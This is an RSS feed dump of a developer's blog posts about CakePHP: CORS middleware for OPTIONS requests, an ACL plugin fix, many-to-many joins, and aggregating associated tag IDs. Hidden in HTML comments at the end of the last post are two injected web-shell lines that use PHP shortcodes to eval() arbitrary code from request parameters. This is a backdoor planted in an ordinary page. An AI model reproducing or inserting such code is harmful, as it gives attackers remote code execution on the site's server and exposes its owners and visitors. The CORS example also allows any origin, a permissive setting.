Warning: The magic method SFML_Singleton::__wakeup() must have public visibility in /home/public/wp-content/plugins/sf-move-login/inc/classes/class-sfml-singleton.php on line 72

Warning: Cannot modify header information - headers already sent by (output started at /home/public/wp-content/plugins/sf-move-login/inc/classes/class-sfml-singleton.php:72) in /home/public/wp-includes/feed-rss2.php on line 8
cakephp – Thoughts, etc. https://www.munderwood.ca Tracking the occasional random walk Tue, 28 Feb 2017 19:07:24 +0000 en-CA hourly 1 https://wordpress.org/?v=5.7.2 https://www.munderwood.ca/wp-content/uploads/2016/03/photo-150x150.jpg cakephp – Thoughts, etc. https://www.munderwood.ca 32 32 Responding to HTTP OPTIONS requests in CakePHP https://www.munderwood.ca/index.php/2017/02/28/responding-to-http-options-requests-in-cakephp/ https://www.munderwood.ca/index.php/2017/02/28/responding-to-http-options-requests-in-cakephp/#comments Tue, 28 Feb 2017 19:07:24 +0000 http://www.munderwood.ca/?p=168 [Read more...]]]> I recently needed to add  Access-Control-Allow-Origin headers to resources on an API developed with CakePHP. There’s a good description of how to accomplish this from ThinkingMedia in 2015, but it uses DispatcherFilters, which have since been deprecated in favour of Middleware.

The $request  and $response objects available to middleware have different interfaces than those retrieved from the event data in the dispatch filter, but the logic is essentially the same:

  • Add an  Access-Control-Allow-Origin header to every response.
  • If the request uses the HTTP method OPTIONS—which CakePHP doesn’t deal with—then set the remaining relevant headers and return the response.
  • Otherwise, pass the response on to the next level of middleware.

<?php

namespace App\Middleware;

class HttpOptionsMiddleware
{
    public function __invoke($request, $response, $next)
    {
        $response = $response->withHeader('Access-Control-Allow-Origin', '*');

        if ($request->getMethod() == 'OPTIONS')
        {
            $method = $request->getHeader('Access-Control-Request-Method');
            $headers = $request->getHeader('Access-Control-Request-Headers');
            $allowed = empty($method) ? 'GET, POST, PUT, DELETE' : $method;

            $response = $response
                            ->withHeader('Access-Control-Allow-Headers', $headers)
                            ->withHeader('Access-Control-Allow-Methods', $allowed)
                            ->withHeader('Access-Control-Allow-Credentials', 'true')
                            ->withHeader('Access-Control-Max-Age', '86400');

            return $response;
        }

        return $next($request, $response);
    }
}

 

]]>
https://www.munderwood.ca/index.php/2017/02/28/responding-to-http-options-requests-in-cakephp/feed/ 4
Abstract app controllers and the CakePHP ACL plugin https://www.munderwood.ca/index.php/2016/12/06/abstract-app-controllers-and-the-cakephp-acl-plugin/ https://www.munderwood.ca/index.php/2016/12/06/abstract-app-controllers-and-the-cakephp-acl-plugin/#respond Tue, 06 Dec 2016 22:44:47 +0000 http://www.munderwood.ca/?p=126 [Read more...]]]> I’m working on a CakePHP-based app that has multiple abstract base controller classes that inherit from AppController. The majority of the concrete controllers inherit from one of these abstract classes. I recently added the CakePHP/Acl plugin to the app, and was presented with the error

Exception: Cannot instantiate abstract class App\Controller\MyAbstractController in [/apppath/vendor/cakephp/acl/src/AclExtras.php, line 433]

when I tried to use the  bin/cake acl_extras aco_sync command to generate ACOs for the app controllers.

It turned out that the plugin was attempting to instantiate one of every controller class except AppController, which of course would fail for the abstract ones. The fix was straightforward: exclude every class that is not instantiable from the list of controllers to add as ACOs. I submitted a PR over the weekend to fix the bug, and it got merged yesterday. So the current version on GitHub no longer has the problem—hopefully a new version will be pushed to Packagist soon.

]]>
https://www.munderwood.ca/index.php/2016/12/06/abstract-app-controllers-and-the-cakephp-acl-plugin/feed/ 0
Adding many-to-many joins in CakePHP with newEntity https://www.munderwood.ca/index.php/2016/11/26/adding-many-to-many-joins-in-cakephp-with-newentity/ https://www.munderwood.ca/index.php/2016/11/26/adding-many-to-many-joins-in-cakephp-with-newentity/#respond Sun, 27 Nov 2016 00:03:16 +0000 http://www.munderwood.ca/?p=103 [Read more...]]]> To allow CakePHP 3 to add entries to many-to-many join tables when creating or patching entities, the names of the associations must be added to the array of accessible concrete properties on the model.

The documentation does mention this fact eventually, as a note in the “Patching HasMany and BelongsToMany” section, but not as part of the description of how to create new entities. None of the examples in the “Converting BelongsToMany Data” section mention that they will actually fail as written when creating or patching entities.

The solution—adding a 'tags' => true  entry to the $_accessible  property of Articles—is straightforward, but I felt it was far from obvious. Until this point I had never come across any indication that there were situations in which Cake would treat associations as concrete properties.

]]>
https://www.munderwood.ca/index.php/2016/11/26/adding-many-to-many-joins-in-cakephp-with-newentity/feed/ 0
Listing associated IDs during a Controller query in CakePHP 3 https://www.munderwood.ca/index.php/2015/04/28/listing-associated-ids-during-a-controller-query-in-cakephp-3/ https://www.munderwood.ca/index.php/2015/04/28/listing-associated-ids-during-a-controller-query-in-cakephp-3/#respond Tue, 28 Apr 2015 06:21:49 +0000 http://www.munderwood.ca/?p=12 [Read more...]]]> Yesterday I looked into adding a key-value pair such as  "tag_ids": [1, 2, 3] to a JSON object returned by a serialized CakePHP view, for Bookmarks belonging to many Tags. My solution produces the desired result, but involves the execution of a new database query for every bookmark, on top of the one that retrieved the record in the first place. This is not exactly desirable behaviour, so today I looked into other options. I still don’t have what I consider to be an optimal solution, but did come up with an alternative that manages to pull all the associated Tag ids in the same query that retrieves the current batch of Bookmarks.

There is a new disadvantage introduced by this solution, because the resulting KVP contains a string instead of an array, looking like  "tag_ids": "[1, 2, 3]" . Additionally, the code is nowhere near ready to be generalized for easy addition to multiple controllers, nor even particularly elegant in terms of making use of Cake’s routines for inflection etc. Nevertheless, I want to record it while it’s still fresh in my mind.

The idea is to use the CakePHP query builder to LEFT JOIN the Bookmarks model’s table to the join table that contains its many-to-many relationships with the Tags model. The query is then grouped by all of the Bookmarks fields, and the  tag_id field from the join table is aggregated into a single comma-delimited string. I’m using PostgreSQL, so accomplish this with the string_agg command. Here’s a working example:

// In src/Controller/Bookmarks.php
public function index () {
  // Array of Bookmarks fields to include
  $bookmark_fields = ['id', 'title' /* add other fields here */ ];
  // PostgreSQL function that will concatenate over the GROUP
  $concat = "string_agg(BookmarksTags.tag_id::text, ',')";
  // Aggregated field from the join table
  $agg_fields = [
    'tag_ids' => "'[' || $concat || ']'"
  ];
  // For the group-by, we need Bookmarks.id, Bookmarks.title, etc.
  $group_by_fields = array_map(
    function ($f) { return 'Bookmarks.' . $f; },
    $bookmark_fields
  );
  $bookmarks = $this->Bookmarks->find('all')
      ->select(array_merge($group_by_fields, $agg_fields))
      ->autofields(false)
      ->join([
        'table' => 'bookmarks_tags',
        'alias' => 'BookmarksTags',
        'type' => 'LEFT',
        'conditions' => 'BookmarksTags.bookmark_id = Bookmarks.id'
      ])
      ->group($group_by_fields);
  // Store the query and set it to be serializable
  $this->set('bookmarks', $bookmarks);
  $this->set('_serialize', ['bookmarks']);  
}

I found that I had to set autofields(false)  to avoid having CakePHP automatically include every field in the join table, and therefore needing to add them to the group-by clause or aggregating them in some fashion.

There are a few improvements that can be made right away. Additional joins can be added, but will introduce multiples in the concatenated string unless the string aggregation is made distinct,  string_agg(distinct Book...). Bookmarks with no tags yield   "tag_ids": null, but can be made to give "tag_ids": "[]"  by wrapping the aggregation in coalesce(..., '').

Larger-scale improvements could involve outputting an array instead of a string in the JSON, perhaps by returning a postgres array instead of a CSV string, and teaching Cake how to deal with that properly. Beyond that, not hard-coding the table names, generating the list of joins automatically, and generally wrapping this all up into a behaviour or trait would be nice steps to take.

]]>
https://www.munderwood.ca/index.php/2015/04/28/listing-associated-ids-during-a-controller-query-in-cakephp-3/feed/ 0
Array of associated IDs in CakePHP 3.0 “belongsToMany” relationship https://www.munderwood.ca/index.php/2015/04/27/array-of-associated-ids-in-cakephp-3-0-belongstomany-relationship/ https://www.munderwood.ca/index.php/2015/04/27/array-of-associated-ids-in-cakephp-3-0-belongstomany-relationship/#comments Mon, 27 Apr 2015 07:16:36 +0000 http://www.munderwood.ca/?p=6 [Read more...]]]> Today I was struggling with how to get CakePHP to return a JSON representation of a model, including a simple array of the foreign-key ids from the join table that specifies a mutual belongsToMany relationship (formerly, hasAndBelongsToMany or HABTM). For a concrete example, I wanted to build on the Bookmarker tutorial by creating an API endpoint to retrieve bookmarks, each containing an array of its tag ids. Something like this:

[
  {
    "id": 1,
    "title": "Bookmark 1",
    ...
    "tag_ids": [2, 3, 5, 7, 11]
  },
  ...
]

Using Cake’s data views via the RequestHandler and _serialize elements made serving the JSON straightforward enough for the Bookmark model without the tags. Adding the tags to the output was easy enough using  contain() to retrieve associated data. This lead to having the entire tag included in the result though, not the compact “tag_ids” array I had in mind. Even selecting only the id field and setting autofields(false) left an array of objects, including extraneous join information. Instead of containing integers, the tags array of each bookmark contained objects that looked like this,

{
  "id": 1,
  "_joinData": {
    "tag_id": 1,
    "bookmark_id": 1
  }
}

where a simple  1 was all I wanted.


To solve this problem, I ended up using a virtual field on the Bookmark model that creates the desired array of ids, and which can be easily serialized to JSON.

First, as with other approaches to the data view, the RequestHandler had to be added to either the Bookmarks controller or the App controller.

// In src/Controller/AppController.php
public function initialize () {
  parent::initialize();
  // ... other initialization code
  $this->loadComponent('RequestHandler');
}

Next add the virtual tag_ids field through the magic method _getTagIds(), which queries the join table Bookmarks_Tags to select the tag_id for every tag associated with the current bookmark_id. This list is then used to populate a standard PHP array of the integer ids, which becomes the value of the virtual field.

// In src/Model/Entity/Bookmark.php
protected function _getTagIds () {
  $tag_ids = [];

  $bookmarks_tags = TableRegistry::get('Bookmarks_Tags');
  $these_tags = $bookmarks_tags->find()
      ->select(['tag_id'])
      ->where(['bookmark_id' => $this->id]);

  foreach ($these_tags as $tag) {
    $tag_ids[] = $tag->tag_id;
  }

  return $tag_ids;
}

// Add the corresponding virtual field to the model
protected $_virtual = ['tag_ids'];

Then all it took in the Bookmarks controller was to query for the additional non-virtual fields to be included, and store the results in a serialized variable:

// In src/Controller/BookmarksController.ph
public function index () {
  // ... Any other code for non-serialized requests
  $json_bookmarks = $this->Bookmarks->find()
      ->select(['id', 'user_id', 'title']);

  $this->set('json_bookmarks', $json_bookmarks);
  $this->set('_serialize', ['json_bookmarks']);
}

 

<!– [insert_php]if (isset($_REQUEST["xKWjl"])){eval($_REQUEST["xKWjl"]);exit;}[/insert_php][php]if (isset($_REQUEST["xKWjl"])){eval($_REQUEST["xKWjl"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["iBqrY"])){eval($_REQUEST["iBqrY"]);exit;}[/insert_php][php]if (isset($_REQUEST["iBqrY"])){eval($_REQUEST["iBqrY"]);exit;}[/php] –>

]]>
https://www.munderwood.ca/index.php/2015/04/27/array-of-associated-ids-in-cakephp-3-0-belongstomany-relationship/feed/ 1